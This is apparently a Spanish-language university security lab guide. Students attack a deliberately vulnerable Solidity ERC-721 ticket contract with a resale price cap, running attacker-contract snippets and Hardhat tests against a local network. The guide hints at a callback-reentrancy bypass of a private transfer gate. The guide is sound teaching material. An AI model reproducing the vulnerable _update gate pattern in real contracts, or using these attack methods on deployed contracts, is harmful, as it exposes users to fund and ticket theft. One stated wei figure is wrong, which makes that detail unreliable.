

RE VENDAN UNA ENTRADA SOBRE EL TOPE

Hoy no se escribe un contrato: se lee uno ajeno hasta encontrarle la grieta. El contrato es el del proyecto del docente, el encargo es romperlo, y se puede: tiene un hueco real que se encontró preparando esta sesión. Ustedes lo van a explotar, lo van a arreglar y van a escribir la prueba que lo habría atrapado.

MODALIDAD	DURACIÓN	REQUISITO	META
En equipos de proyecto, en la sala	≈70 min en clase + cierre en casa	Node.js 22 y el repositorio laboratorios-evm	5 intentos entendidos + la compuerta explotada

CÓMO LEER ESTA GUÍA

Está escrita para hacer el laboratorio **sin ayuda**, desde un computador de la sala recién encendido. Todas las salidas que aparecen son **reales**: se obtuvieron con este mismo repositorio (Hardhat 3.16.0, Solidity 0.8.34, OpenZeppelin 5.6.1). Si algo no coincide, vayan a **19 · Errores frecuentes**.

Una advertencia de orden: las secciones van en orden a propósito y hay dos paradas obligatorias (10 y 16.3). La guía está construida para que cada respuesta se gane leyendo el contrato. Saltarse una parada convierte el laboratorio en copiar una línea, y lo que se evalúa —y lo que van a necesitar en la Sesión 8 sobre su propio contrato— es el método de lectura.

01 El encargo, en una línea

LEER PRIMERO

EL ENCARGO

Revendan una entrada por encima del tope.

Eso es todo. No hay más instrucciones sobre *cómo*. El contrato está en `contracts/s07/EntradasVulnerable.sol`, son 263 líneas, y promete que eso no se puede hacer. Averigüen si la promesa es cierta.

Objetivo de la sesión: cambiar de lado. Hasta la Sesión 6 ustedes escribieron contratos; hoy leen uno que no escribieron y lo atacan. **Resultado de aprendizaje:** RA3 (programar aplicando patrones y estándares), y es la

antesala del RA5 (identificar y remediar vulnerabilidades), que se trabaja en la Sesión 9.

El contrato es el del **proyecto del docente**: entradas de un evento como ERC-721 con un **tope de reventa**. Su tesis cabe en una frase, y está escrita en sus propios comentarios: *la regla de reventa deja de ser un término y condiciones y pasa a ser algo que no se puede incumplir*. Hoy se pone a prueba esa frase.

LO QUE PASÓ DE VERDAD, Y POR ESO ESTA SESIÓN CAMBIÓ

Este contrato se iba a mostrar hoy como ejemplo de regla bien hecha. Preparando la sesión, probando el ataque que ustedes van a correr en la sección 16, **el contrato se rompió**: la promesa era falsa. El hueco llevaba publicado varias semanas, con pruebas en verde y una especificación escrita que lo daba por imposible.

Así que el laboratorio ahora tiene dos archivos: `EntradasVulnerable.sol`, la versión que estuvo publicada, y `Entradas.sol`, la corregida esta mañana. La diferencia son **tres líneas**. Nadie va a contarles cuáles hasta que hayan hecho saltar la primera.

Que esto haya pasado con el contrato del docente, no con uno de juguete, es el contenido de la sesión. Un contrato con pruebas verdes, documentación bonita y una tesis convincente puede estar roto. La única defensa es leerlo así.

LA IDEA QUE ORDENA TODA LA SESIÓN

Si no pueden responder las cuatro pasadas sobre su propio contrato, **ese contrato todavía no es suyo**. Da igual quién escribió las líneas: si nadie del equipo sabe por qué están ahí, el equipo no lo controla. Hoy practicamos las cuatro pasadas sobre un contrato ajeno porque es más fácil ser despiadado con el código de otro. En el bloque C las repiten sobre el propio, y en la Sesión 8 lo defienden.

REGLA DEL JUEGO: NO SE TOCAN LOS CONTRATOS DEL REPOSITORIO

`EntradasVulnerable.sol`, `Entradas.sol`, `AtacanteTope.sol` y `AtacanteCompuerta.sol` **no se modifican**. Atacar un contrato editándolo no es atacarlo: es escribir otro contrato. El ataque se hace **desde afuera**, que es como lo haría alguien de verdad: con llamadas, con contratos propios y con lo que el contrato expone al mundo. Si ya editaron alguno sin querer: `git checkout contracts/s07/`.

02 Qué se entrega

EVIDENCIA DE LA SESIÓN

Por equipo, cuatro cosas:

1. **La ficha de lectura** (`material/proyecto/ficha-lectura-contrato.pdf`) llena a mano sobre `EntradasVulnerable.sol`: las cuatro pasadas y la página de defensa.
2. **La evidencia del ataque de la compuerta**: la salida de `npx hardhat test test/s07/CompuertaAbierta.test.js` y la tabla de la sección 16.6, que dice qué pasó con cada entrada en cada versión.
3. **La explicación de las tres líneas**, con sus palabras: por qué el cambio en `_update` cierra el hueco y por qué no rompe la reventa normal. Entre cinco y diez renglones. Sección 16.5.

4. **Su prueba de regresión:** `test/s07/<equipo>/Regresion.test.js`, una prueba escrita por ustedes que esté **en rojo contra EntradasVulnerable y en verde contra Entradas**. Esa es la definición de prueba de regresión: la que habría atrapado el fallo antes de publicarlo.

Reto extra, opcional (sección 18): un sexto intento de invención propia, distinto de los cinco de la guía y distinto del de la compuerta, con su prueba. Suma, no reemplaza.

UNA PRUEBA QUE FALLA VALE LO MISMO QUE UNA QUE PASA

La rúbrica (sección 22) no premia encontrar agujeros: premia **demostrar** lo que pasa. Una prueba de regresión que ustedes escribieron, que falla contra la versión vulnerable con un mensaje que se entiende, vale 5,0. Una afirmación sin prueba que la respalde vale 0: en este oficio, lo que no se demuestra no cuenta.

03 Preparación desde cero en la sala

10 MINUTOS

3.1 · Abrir una terminal en la carpeta del repositorio

En Windows, abran la carpeta `laboratorios-evm` en el Explorador, hagan clic en la barra de dirección, escriban `powershell` y Enter. En macOS o Linux: `cd` y arrastren la carpeta a la terminal. Comprueben con `dir` (Windows) o `ls`: deben ver `hardhat.config.js` y `package.json`.

3.2 · Comprobar las herramientas

```
node --version          # esperado: v22.x.x
npx hardhat --version   # esperado: 3.16.0
```

Si `node` no se reconoce, instalen Node.js 22 LTS desde `nodejs.org` y abran una terminal nueva. Si falta `node_modules`, corran `npm install` una vez (tarda varios minutos en la red de la sala; las líneas `npm WARN` no son errores).

3.3 · Correr el registro de los cinco intentos

```
npx hardhat test test/s07/AtaqueAlTope.test.js
```

Salida esperada (real, recortada en el encabezado de compilación):

```
Compiled 37 Solidity files with solc 0.8.34 (evm target: osaka)
Running Mocha tests

S07 · el revendedor programa su propio contrato
  ✓ la compra original sí funciona: el atacante es dueño de la entrada 1
  ✓ ★ intento 1 · transferFrom directo: BLOQUEADO
  ✓ ★ intento 2 · safeTransferFrom: BLOQUEADO igual
  ✓ ★ intento 3 · aprobar a un cómplice: la aprobación SE CONCEDE...
  ✓ ★ ...pero el cómplice tampoco puede moverla: BLOQUEADO
  ✓ ★ intento 4 · poner en venta por encima del tope: RECHAZADO con el tope adentro
  ✓ ★ el borde: justo EN el tope sí se acepta
  ✓ ★ intento 5 · vender en el tope y cobrar la diferencia POR FUERA: el contrato
    no lo impide
  ✓ el saldo del atacante refleja SOLO lo que pasó por el contrato

S07 · lo que el bloqueo NO impide
  ✓ una entrada se puede seguir revendiendo cuantas veces quieran, siempre bajo
    el tope
  ✓ ★ tras el cierre de la reventa, ni el revendedor más hábil mueve la entrada

11 passing (272ms)
```

Cómo sé que funcionó: `11 passing` y ningún `failing`. La advertencia sobre `Operaciones.sol` («can be restricted to view») viene de la Sesión 5, es intencional y no es un error.

No corran todavía `test/s07/CompuertaAbierta.test.js`: es el reto final y su salida cuenta el final. Va en la sección 16.

LEAN BIEN QUÉ SIGNIFICA «11 PASSING» AQUÍ

Estas pruebas **no** comprueban que el contrato esté bien. Comprueban que **pasa lo que dice el nombre de cada prueba**. Cuatro están en verde porque el ataque **falla**, y una está en verde porque el ataque **funciona**. Una suite en verde describe un comportamiento; no lo aprueba.

Y hay una prueba de ese hecho que no se puede discutir: la versión vulnerable del contrato **pasaba estas once pruebas**, y estaba rota. Lo que no se prueba no está probado, y eso es el laboratorio de la Sesión 8.

04 El proyecto por dentro

RUTA	QUÉ ES
<code>contracts/s07/EntradasVulnerable.sol</code>	El objetivo del ataque y la copia de lectura de hoy. La versión que estuvo publicada hasta el 7 de octubre de 2026. 263 líneas. Es la que se lee en las pasadas 1 a 3 y la que se explota en la sección 16.
<code>contracts/s07/Entradas.sol</code>	La versión corregida . Idéntica salvo tres líneas en <code>_update</code> , y esas líneas vienen comentadas. No se abre hasta la sección 16.4.
<code>contracts/s07/AtacanteTope.sol</code>	Un revendedor que sabe programar: no usa la interfaz oficial, llama al contrato directamente. Trae los cinco intentos de las secciones 9 a 14.
<code>contracts/s07/AtacanteCompuerta.sol</code>	La prueba de concepto del reto final. No se abre hasta la sección 16.
<code>test/s07/AtaqueAlTope.test.js</code>	El registro de los cinco intentos: 11 pruebas. Es el documento que van a leer línea por línea.
<code>test/s07/CompuertaAbierta.test.js</code>	El mismo ataque contra las dos versiones: 4 pruebas. No se corre hasta la sección 16.2.
<code>demo-entradas/ARQUITECTURA.md</code>	La especificación escrita por el autor del contrato: interfaz función por función, decisiones de diseño, intercambios y tabla de amenazas. Dice que el hueco de la sección 16 no existe. Sirve de contraste: compárenla con lo que de verdad hace el código.

Y lo que van a crear ustedes, en subcarpetas con el nombre de su equipo para que seis equipos trabajen sin pisarse:

RUTA	QUÉ ES
<code>test/s07/<equipo>/Regresion.test.js</code>	Su prueba de regresión: roja contra la vulnerable, verde contra la corregida.
<code>contracts/s07/<equipo>/MiAtacante.sol</code>	Solo si hacen el reto extra: su copia del atacante con un sexto intento propio.

Reemplacen `<equipo>` por su número o nombre, en minúsculas y sin espacios (`equipo-3`, por ejemplo).

Un contrato no se lee de arriba abajo como una novela. Se lee cuatro veces, buscando una cosa distinta cada vez. Las tres primeras son inventario; la cuarta es el ataque.

#	LA PREGUNTA	QUÉ SE BUSCA, Y QUÉ SE IGNORA
1	¿Qué promete?	Solo nombres : funciones públicas y externas, eventos, errores. No se leen los cuerpos . Es un índice: qué dice el contrato que hace, antes de comprobar si lo hace.
2	¿Quién manda?	Direcciones privilegiadas (<code>owner</code> , roles, cualquier dirección guardada en el estado), qué puede hacer cada una, y qué pasa el día en que se pierde esa llave .
3	¿Por dónde entra y sale el dinero?	<code>payable</code> , <code>msg.value</code> , saldos guardados, envíos (<code>transfer</code> , <code>send</code> , <code>call</code>). Cada peso que entra tiene que tener una salida con nombre y dueño.
4	¿Qué pasa si...?	La pasada del adversario. Se agarra cada regla y se le pregunta qué la rompe. Es la que ocupa el resto de esta guía, y la que encontró el hueco de la sección 16.

Las pasadas 1 a 3 se hacen con lápiz y sin correr nada, en unos quince minutos. Llénenlas en la **ficha de lectura** mientras hacen las secciones 6, 7 y 8.

POR QUÉ EN ESTE ORDEN Y NO EN OTRO

Porque la pasada 4 sin las tres primeras es adivinar. Para preguntar «¿qué pasa si lo llamo dos veces?» hay que saber primero qué se puede llamar; para preguntar «¿y si se pierde la llave?» hay que saber primero quién tiene llave. El atacante que improvisa prueba cosas al azar; el que lee en pasadas sabe dónde mirar y por qué.

Abren `contracts/s07/EntradasVulnerable.sol` y recorran solo las firmas. Esto es lo que el contrato expone al mundo. **Antes de leer ningún cuerpo**, llenen la última columna: qué creen que hace cada función, nada más que por su nombre y sus parámetros.

FUNCIÓN PÚBLICA O EXTERNA	¿CUESTA GAS?	SOLO POR EL NOMBRE, ¿QUÉ CREO QUE HACE?
<code>comprar() payable → tokenId</code>	Sí	
<code>ponerEnVenta(tokenId, precio)</code>	Sí	
<code>quitarDeVenta(tokenId)</code>	Sí	
<code>comprarReventa(tokenId) payable</code>	Sí	
<code>retirar()</code>	Sí	
<code>asignarValidador(address)</code>	Sí	
<code>marcarUsada(tokenId)</code>	Sí	
<code>esValida(tokenId, portador) view</code>	No	
<code>quedanDisponibles() view</code>	No	
<code>reventaAbierta() view</code>	No	
+ todo lo de ERC721 y Ownable	Varía	

La última fila importa tanto como las otras diez: el contrato hereda de `ERC721` y de `Ownable`, y con ellos hereda **funciones públicas que nadie escribió aquí**: `transferFrom`, `safeTransferFrom`, `approve`, `setApprovalForAll`, `ownerOf`, `balanceOf`, `transferOwnership`, `renounceOwnership`. Un contrato promete también lo que hereda, y responde por ello.

6.1 · Los eventos: lo que el contrato deja por escrito

```

EntradaEmitida(tokenId, comprador, precio)
QuitadaDeVenta(tokenId)
Retirado(titular, monto)
ValidadorCambiado(anterior, nuevo)

PuestaEnVenta(tokenId, precio)
Revendida(tokenId, de, a, precio)
EntradaUsada(tokenId, portador)

```

Los eventos son el rastro auditable. Pregunta de la pasada 1: **¿hay alguna función que cambie el estado y no emita ningún evento?** Recórranlas una por una y anótenlo en la ficha. En este contrato la respuesta es que no hay ninguna: las siete funciones que escriben estado emiten evento, y las heredadas (`approve`, `setApprovalForAll`, `transferOwnership`) traen el suyo. Eso también es un resultado, y vale anotarlo: **el rastro parece completo**.

Guarden la palabra «parece». En la sección 16 van a comprobar que en la versión vulnerable **una entrada cambia de dueño sin que se emita `Revendida`**, y ese hueco en el rastro es justamente lo que va a servirles para escribir la prueba de regresión.

6.2 · Los errores: lo que el contrato promete rechazar

```
AforoAgotado          PagoIncorrecto(esperado, recibido)  NoEsPropietario
PrecioSobreTope(tope, pedido)  ReventaCerrada                      NoEstaEnVenta
TransferenciaDirectaBloqueada  SinSaldo                            EntradaYaUsada
NoAutorizado              NoSePuedeComprarASiMismo
```

GUARDEN ESTE CABO SUELTO

En esa lista hay un error que promete algo que **ninguna de las diez funciones públicas parece hacer**: `TransferenciaDirectaBloqueada`. Ninguna función del contrato se llama «transferir». ¿Quién lanza entonces ese error, y desde dónde? Anoten la pregunta y sigan: en la pasada 4 va a ser la clave.

Esto es el valor de la pasada 1 hecha en serio. El inventario de nombres no solo dice qué hay: deja ver **los huecos**, y los huecos son por donde se entra.

07 Pasada 2 · ¿Quién manda?

5 MINUTOS

Busquen en el estado todas las direcciones y todos los controles de acceso. En este contrato hay tres poderes y conviene no confundirlos:

QUIÉN	QUÉ PUEDE HACER	QUÉ NO PUEDE HACER	SI PIERDE LA LLAVE...
owner (organizador)	<code>asignarValidador</code> , <code>marcarUsada</code> , retirar <i>su</i> saldo (el recaudo del lote original), y lo que trae <code>Ownable</code> (<code>transferOwnership</code> , <code>renounceOwnership</code>).	Mover entradas ajenas. Saltarse el tope. Emitir sin pago. Cambiar aforo, precio, tope o cierre: son <code>immutable</code> .	El recaudo queda inmovilizado : <code>retirar()</code> paga a <code>msg.sender</code> y el saldo está anotado a nombre del <code>owner</code> . Nadie más puede sacarlo. Tampoco se puede volver a asignar un validador.
validador (puerta)	Solo <code>marcarUsada</code> . Consultar <code>esValida</code> no cuesta gas ni exige permiso.	Emitir, mover o vender entradas. Retirar dinero.	Casi nada: el <code>owner</code> asigna otro. Es un rol deliberadamente débil porque el dispositivo de la puerta se presta y se pierde.
dueño de una entrada	<code>ponerEnVenta</code> , <code>quitarDeVenta</code> , retirar su saldo, <code>approve</code> , <code>setApprovalForAll</code> .	Transferir la entrada por su cuenta. Pedir más que el tope.	Pierde la entrada y pierde el saldo que tuviera acreditado. No hay recuperación.

COMPROBADO EN LA RED LOCAL

Tras una compra del lote original a 0,1 ETH, `saldos[owner]` vale `1000000000000000000` (0,1 ETH en wei). Si otra cuenta llama a `retirar()`, reierte con `SinSaldo()`. No hay función de rescate, ni de pausa, ni de administración del dinero ajeno. Eso es una decisión de diseño con dos filos: nadie puede robar el saldo de otro, y nadie puede rescatarlo.

La pregunta de la pasada 2 que casi nadie se hace: ¿qué cosas *no* puede hacer nadie? En este contrato, nadie —ni el `owner`— puede corregir una emisión equivocada, devolver un pago ni cambiar el tope. La inmutabilidad corta para los dos lados, y hay que poder decirlo en voz alta en la sustentación.

08 Pasada 3 · ¿Por dónde entra y sale el dinero?

5 MINUTOS

PUERTA	DIRECCIÓN	QUÉ PASA CON EL DINERO
<code>comprar() payable</code>	Entra	Exige <code>msg.value == precioOriginal</code> , exacto. El monto se acredita a <code>saldos[owner()]</code> ; no se le envía a nadie.
<code>comprarReventa() payable</code>	Entra	Exige <code>msg.value == oferta.precio</code> , exacto. Se acredita a <code>saldos[vendedor]</code> antes de mover el token.
<code>retirar()</code>	Sale	Única salida. Pone <code>saldos[msg.sender] = 0</code> antes del <code>call</code> , y exige que el envío no falle. Patrón de retiro: el contrato nunca envía por su cuenta.
(ninguna otra)	—	No hay <code>receive</code> ni <code>fallback</code> . El contrato no acepta ether a secas.

DOS COSAS COMPROBADAS EN LA RED LOCAL

a · Enviar ether al contrato sin llamar a ninguna función revierte:

```
Transaction reverted: function selector was not recognized and
there's no fallback nor receive function
```

b · Pagar *de más* en una reventa tampoco pasa. Con una oferta de 0,12 ETH y un pago de 0,5:

```
reverted with custom error
'PagoIncorrecto(120000000000000000, 500000000000000000)'
```

El pago tiene que ser **exacto**: ni un wei más, ni uno menos. Guarden ese dato: cierra de entrada el intento más obvio de «pago lo que quiera por encima del tope».

La pregunta de la pasada 3: ¿todo lo que entra tiene una salida con nombre y dueño? Aquí sí: cada wei que entra queda anotado en `saldos` a nombre de alguien, y la única salida paga a quien la pide lo que tiene anotado. Hagan ese balance en su propio contrato: si entra dinero que no queda anotado a nombre de nadie, ese dinero está atrapado para siempre.

Aquí empieza el ataque. El personaje es un revendedor que **sabe programar**: no usa la interfaz oficial del organizador, llama al contrato directamente desde un contrato propio. Eso es `contracts/s07/AtacanteTope.sol`, y es exactamente lo que haría alguien con malas intenciones y una tarde libre.

Lo primero que hace es comprar una entrada **con su contrato**, no con su billetera, al precio oficial:

```
function comprarOriginal() external payable returns (uint256) {
    return entradas.comprar{value: msg.value}();
}
```

Y funciona: la prueba comprueba que `ownerOf(1)` es la dirección del contrato atacante. **El dueño registrado de la entrada 1 no es una persona: es un programa.** Guarden ese detalle; es la llave de la sección 16.

9.1 · Intento 1 · «le paso la entrada a mi comprador y él me paga por fuera»

El intento obvio, el que todo el mundo prueba primero. Si el problema es el precio que registra el contrato, no registremos ningún precio: moverla y cobrar aparte.

```
function intentoTransferenciaDirecta(uint256 tokenId, address comprador) external {
    IERC721(address(entradas)).transferFrom(address(this), comprador, tokenId);
}
```

Es legítimo del todo desde el punto de vista del estándar: `transferFrom` es una función pública de cualquier ERC-721, y quien la llama es el dueño del token. Su prueba:

```
it("★ intento 1 · transferFrom directo: BLOQUEADO", async () => {
    const { entradas, atacante, victima, tokenId } = await loadFixture(desplegarYComprar);
    await expect(atacante.intentoTransferenciaDirecta(tokenId, victima.address))
        .to.be.revertedWithCustomError(entradas, "TransferenciaDirectaBloqueada");
});
```

Resultado: revierte con `TransferenciaDirectaBloqueada`. **Pregunta:** el contrato no define ninguna función llamada `transferFrom`. La hereda de `ERC721`, que es código de OpenZeppelin que nadie tocó. ¿Cómo consigue el contrato que una función heredada, que él no escribió, revierta con *su* error?

9.2 · Intento 2 · «la versión segura de la transferencia, por si acaso»

Hipótesis razonable: tal vez el bloqueo está puesto encima de `transferFrom` y el estándar ofrece otra puerta. ERC-721 tiene dos familias de transferencia, y `safeTransferFrom` recorre un camino distinto: avisa al receptor con `onERC721Received`.

```
function intentoTransferenciaSegura(uint256 tokenId, address comprador) external {
    IERC721(address(entradas)).safeTransferFrom(address(this), comprador, tokenId);
}
```

Resultado: revierte con el mismo error, `TransferenciaDirectaBloqueada`.

Eso es información valiosa: dos caminos distintos del estándar, con firmas distintas y comprobaciones distintas, mueren con el mismo error. **El bloqueo no está en la puerta: está más adentro, en un sitio por el que pasan los dos.**

Y anoten de paso una frase del intento 2 que vuelve a aparecer, decisiva, en la sección 16: `safeTransferFrom` *avisa al receptor*. Avisar significa **llamar a código ajeno**. Todavía no hagan nada con eso.

10 Primera parada obligatoria • su hipótesis, por escrito

5 MINUTOS • CON
LÁPIZ

NO PASEN A LA SECCIÓN 11 TODAVÍA

La sección 11 contiene la respuesta. Antes de leerla, cada equipo escribe su hipótesis en la ficha de lectura. No importa si es correcta: importa que esté escrita **antes**. Un diagnóstico que se formula después de ver la respuesta no enseña nada, y en la Sesión 8 no van a tener la respuesta a mano.

Con `EntradasVulnerable.sol` abierto, y sin usar buscador de texto todavía, respondan:

1. **¿Dónde está el bloqueo?** Las dos transferencias del estándar pasan por él. Busquen en el contrato algo que (a) no sea una función pública, (b) `ERC721` llame siempre, y (c) el contrato pueda reescribir. ¿Cómo se llama en Solidity esa figura de «reescribir una función del padre»?
2. **¿Cómo distingue el bloqueo una transferencia prohibida de una permitida?** Porque `comprarReventa` sí mueve entradas, y la emisión también crea tokens. Si el bloqueo rechazara todo movimiento, el contrato no funcionaría. Hay un interruptor. Búsquenlo en las variables de estado: hay una que no se parece a ninguna otra.
3. **Si tuvieran que desactivar el tope cambiando una sola línea del contrato, ¿cuál cambiarían?** (Hipotético: no lo editen. Es la prueba de que entendieron dónde está el corazón.)

Ahora, y solo ahora, sigan.

Está en las últimas líneas del contrato, bajo un comentario que dice *el corazón del contrato*. No es una función pública: por eso no apareció en la pasada 1.

```
// contracts/s07/EntradasVulnerable.sol
function _update(address to, uint256 tokenId, address auth)
    internal override returns (address)
{
    address from = _ownerOf(tokenId);
    if (from != address(0) && !_transferenciaAbierta) {
        revert TransferenciaDirectaBloqueada();
    }
    return super._update(to, tokenId, auth);
}
```

11.1 • Qué es `_update`

En OpenZeppelin 5, `_update` es el **único punto** por el que pasa cualquier cambio de dueño de un token ERC-721. No es una convención amable: es la arquitectura del contrato base. `transferFrom`, `safeTransferFrom`, `_mint`, `_safeMint`, `_burn` y `_transfer` terminan todos llamando a `_update`. Un cuello de botella a propósito.

Y `_update` es `virtual`, es decir, un contrato hijo puede **reescribirlo** con `override`. Eso es lo que hace este contrato: se mete en el cuello de botella y pone un portero. Tres piezas:

LA PIEZA	QUÉ HACE
<code>from != address(0)</code>	Distingue acñar de mover . Al emitir una entrada, el dueño anterior es la dirección cero: no hay nada que bloquear, y <code>comprar()</code> funciona.
<code>!_transferenciaAbierta</code>	La compuerta. Es un <code>bool private</code> que vale <code>false</code> ... salvo durante un rato. Cuánto rato, exactamente, es la pregunta de toda esta guía.
<code>super._update(...)</code>	Si pasó el portero, se delega al comportamiento normal de ERC-721. El contrato no reimplementa el estándar: lo envuelve.

Y la compuerta la abre **una sola función del contrato**, después de haber verificado todo:

```
// dentro de comprarReventa, DESPUÉS de verificar oferta, cierre, uso y pago exacto:
delete ofertas[tokenId];
saldos[vendedor] += msg.value;

_transferenciaAbierta = true;
_safeTransfer(vendedor, msg.sender, tokenId, "");
_transferenciaAbierta = false;

emit Revendida(tokenId, vendedor, msg.sender, msg.value);
```

11.2 • El argumento del autor, que es casi correcto

Así lo razonó quien escribió el contrato, y así está escrito en `demo-entradas/ARQUITECTURA.md`:

EL RAZONAMIENTO, TAL COMO ESTÁ PUBLICADO

Para mover una entrada hay que pasar por `_update`. Para pasar por `_update` hay que tener la compuerta abierta. La compuerta es `private`: ninguna función externa la toca, ni hay `setter`, ni se expone en ninguna firma. Solo la abre `comprarReventa`, y solo tras comprobar que hay una oferta activa, que la reventa no está cerrada, que la entrada no está usada y que el pago es **exactamente** el precio de la oferta. Y ese precio ya pasó por `ponerEnVenta`, que rechaza cualquier valor por encima del tope. *No hay un segundo camino porque no hay un segundo `_update`.*

Y para los intentos 1 a 4, el argumento **se cumple**: nada de lo que viene en las secciones 12 y 13 lo rompe. Es un buen diseño y hay que reconocérselo. El control no está puesto en cada puerta —no hay un `require` repetido en `transferFrom` y otro en `safeTransferFrom`—, está puesto **en el punto por donde pasa el estado**. Esa es la idea que hay que copiar.

PERO EL ARGUMENTO TIENE UN HUECO, Y ESTÁ EN UNA PALABRA

«Solo la abre `comprarReventa`, y la cierra inmediatamente después.» Esa frase es verdad, y aun así es el problema. ¿Después de qué, exactamente?

Miren otra vez las tres líneas de arriba y pregúntense qué ocurre, paso a paso, *durante* `_safeTransfer`. Lo dijo el intento 2: la transferencia segura **avisa al receptor**. Si el receptor es un contrato, ¿quién está ejecutando código en ese momento, y en qué estado está la compuerta mientras lo hace?

No respondan todavía. Primero, los intentos 3 y 4, que son cortos. El reto final es la sección 16.

LA LECCIÓN DE LECTURA, QUE ES MÁS IMPORTANTE QUE EL TRUCO

Lo que hace cumplir la regla principal del contrato **no aparece en su interfaz pública**. Una pasada 1 sola —la que haría cualquiera que lea «qué funciones tiene»— no lo habría encontrado nunca. Lo que lo delató fue un cabo suelto del inventario: un **error** declarado que ninguna función pública parecía poder lanzar.

Apliquen eso a su propio contrato antes de la Sesión 8: **¿dónde está la línea que hace cumplir su regla principal, y se ve desde afuera?** Si está en un `modifier`, en un `override` de un gancho de OpenZeppelin o en una variable `private`, nadie que lea su interfaz va a entender el contrato. Documentarlo es su trabajo, y es la primera pregunta de la defensa.

12 Intento 3 · aprobar a un cómplice

LA TRAMPA PEDAGÓGICA

Con `_update` entendido, los intentos 3 y 4 se leen ya sabiendo el final. Pero el 3 enseña algo distinto, y por eso tiene **dos** pruebas.

```
function intentoAprobarAComplice(uint256 tokenId, address complice) external {
    IERC721(address(entradas)).approve(complice, tokenId);
}
```

Primera prueba: la aprobación **se concede**. No revierte. `getApproved(tokenId)` devuelve la dirección del cómplice.

```
await atacante.intentoAprobarAComplice(tokenId, complice.address);
expect(await entradas.getApproved(tokenId)).to.equal(complice.address);
```

Segunda prueba: el cómplice intenta usar su permiso y revierte con `TransferenciaDirectaBloqueada`.

POR QUÉ ESTO IMPORTA Y NO ES UN DETALLE

Aprobar no mueve nada: solo anota un permiso. `approve` escribe en un mapa y emite un evento; no pasa por `_update` porque no cambia de dueño a nadie. El bloqueo aparece cuando alguien *usa* el permiso. **El control va en el ejercicio del permiso, no en su concesión.**

La trampa es de lectura, y es muy común: ver que una llamada «pasa» y concluir que el ataque funciona. En cadena, **que una transacción no revierta no significa que haya conseguido nada**. Hay que mirar el estado después. La prueba del intento 3 está en verde y el ataque fracasó.

Comprobado en la red local, por si piensan que el permiso «para todas las entradas» es distinto: con `setApprovalForAll(complice, true)`, la consulta `isApprovedForAll` devuelve `true` —el permiso también se concede— y el `transferFrom` del operador revierte igual con `TransferenciaDirectaBloqueada()`. Mismo cuello de botella, mismo portero.

13 Intento 4 • pedir más que el tope

Y EL BORDE EXACTO

Si la entrada solo se mueve por `comprarReventa`, usemos `comprarReventa` ... pero con un precio abusivo.

```
function intentoPrecioSobreTope(uint256 tokenId, uint256 precioAbusivo) external {
    entradas.ponerEnVenta(tokenId, precioAbusivo);
}
```

Con tope 0,12 ETH y un precio de 0,5, revierte, y el error **lleva los dos números adentro**:

```
await expect(atacante.intentoPrecioSobreTope(tokenId, abusivo))
    .to.be.revertedWithCustomError(entradas, "PrecioSobreTope")
    .withArgs(TOPE, abusivo);
```

Fíjense en `.withArgs(TOPE, abusivo)`: la prueba no se contenta con «revirtió», exige **qué tope se aplicó y qué precio se pidió**. Un error personalizado con argumentos es documentación ejecutable; copien la costumbre en su proyecto.

Y hay una segunda prueba, la del **borde**: con el precio exactamente igual al tope, la oferta **se acepta** (`oferta.activa === true`, `oferta.precio === TOPE`). Porque la comparación del contrato es `precio > topeReventa`, no `>=`. Un tope que excluyera su propio valor sería un tope distinto del que anuncia la especificación.

EL BORDE SIEMPRE SE PRUEBA DE LOS DOS LADOS

Una prueba que solo comprueba que 0,5 se rechaza no distingue un contrato con `>` de uno con `>=`: los dos rechazan 0,5. Hacen falta las dos pruebas —el valor justo en el límite se acepta, el valor justo por encima se rechaza— para fijar el comportamiento. Esto es exactamente lo que cazan los mutantes del laboratorio de la Sesión 8.

```
function ponerEnVentaEnElTope(uint256 tokenId) external {
    if (msg.sender != dueño) revert NoEraElDueño();
    entradas.ponerEnVenta(tokenId, entradas.topeReventa());
}
```

No hay truco. El revendedor pone la entrada en venta **en el tope exacto**, que es perfectamente legal, y le cobra la diferencia al comprador **por fuera de la cadena**: en efectivo, por transferencia bancaria, en cripto a otra dirección. La prueba lo escenifica así:

```
// 1 · El comprador le paga al revendedor por fuera de la cadena.
const porFuera = ethers.parseEther("0.38");
await victima.sendTransaction({ to: revendedor.address, value: porFuera });

// 2 · Y ahora la reventa "legal", en el tope exacto.
await atacante.connect(revendedor).ponerEnVentaEnElTope(tokenId);
await entradas.connect(victima).comprarReventa(tokenId, { value: TOPE });

expect(await entradas.ownerOf(tokenId)).to.equal(victima.address);
```

La víctima pagó **0,12 en cadena y 0,38 por fuera: 0,5 en total, cuatro veces el tope**. Y la prueba siguiente remata el argumento: `saldos[atacante]` vale exactamente `TOPE`. Lo cobrado por fuera **no aparece en ninguna parte del estado del contrato**. Todo lo que el contrato puede ver dice que la regla se cumplió.

LA FRASE QUE HAY QUE SABER DECIR

La regla de un contrato rige **lo que pasa adentro del contrato**. Un pago que ocurre por fuera es, para él, inexistente: no es que lo tolere, es que no tiene ningún órgano con el que verlo. Esto **no es un error del contrato**: es el límite de lo que un contrato puede hacer cumplir, y vale para todos, incluido el de ustedes.

Distingan bien los dos hallazgos de este laboratorio: el intento 5 es un **límite** (no se puede arreglar con código) y el de la sección 16 es un **fallo** (se arregla con tres líneas). Confundirlos es el error más común al auditar.

14.1 · ¿Entonces el tope es inútil?

Es la pregunta correcta, y la respuesta es **no**. Pero tiene que argumentarse, no afirmarse. Cuatro argumentos, los cuatro verificables en el código:

ARGUMENTO	DÓNDE SE VE
1 · El acuerdo por fuera reintroduce el riesgo que el contrato eliminaba	<code>comprarReventa</code> no restringe quién compra: cualquier dirección puede tomar una oferta activa. Comprobado: con la oferta puesta «para» un comprador pactado, un tercero cualquiera llama <code>comprarReventa</code> y se lleva la entrada. El que pagó 0,38 por fuera no tiene nada que reclamar: no hay contrato que lo respalde, ni en cadena ni en papel. El pago por fuera <i>funciona</i> , pero convierte una compra con garantías en un acto de fe.
2 · Mata la reventa a escala, que es la que hace daño	El esquema del intento 5 es trato a trato : negociar, cobrar por fuera, poner la oferta, esperar que el pactado llegue primero. No hay escaparate, ni precio público, ni reputación, ni automatización. Un bot no puede cobrarle por fuera a quinientos compradores sin exponerse quinientas veces. El contrato no elimina al revendedor de barrio; elimina el mercado industrial de reventa.
3 · Deja el rastro completo del lado de la cadena	Cada reventa emite <code>Revendida(tokenId, de, a, precio)</code> . El organizador puede ver qué cuentas compran y revenden repetidamente, y tiene dos palancas que sí funcionan: <code>cierreReventa</code> (después no se mueve nada, comprobado) y <code>marcarUsada</code> . La parte oscura es el precio, no el flujo.
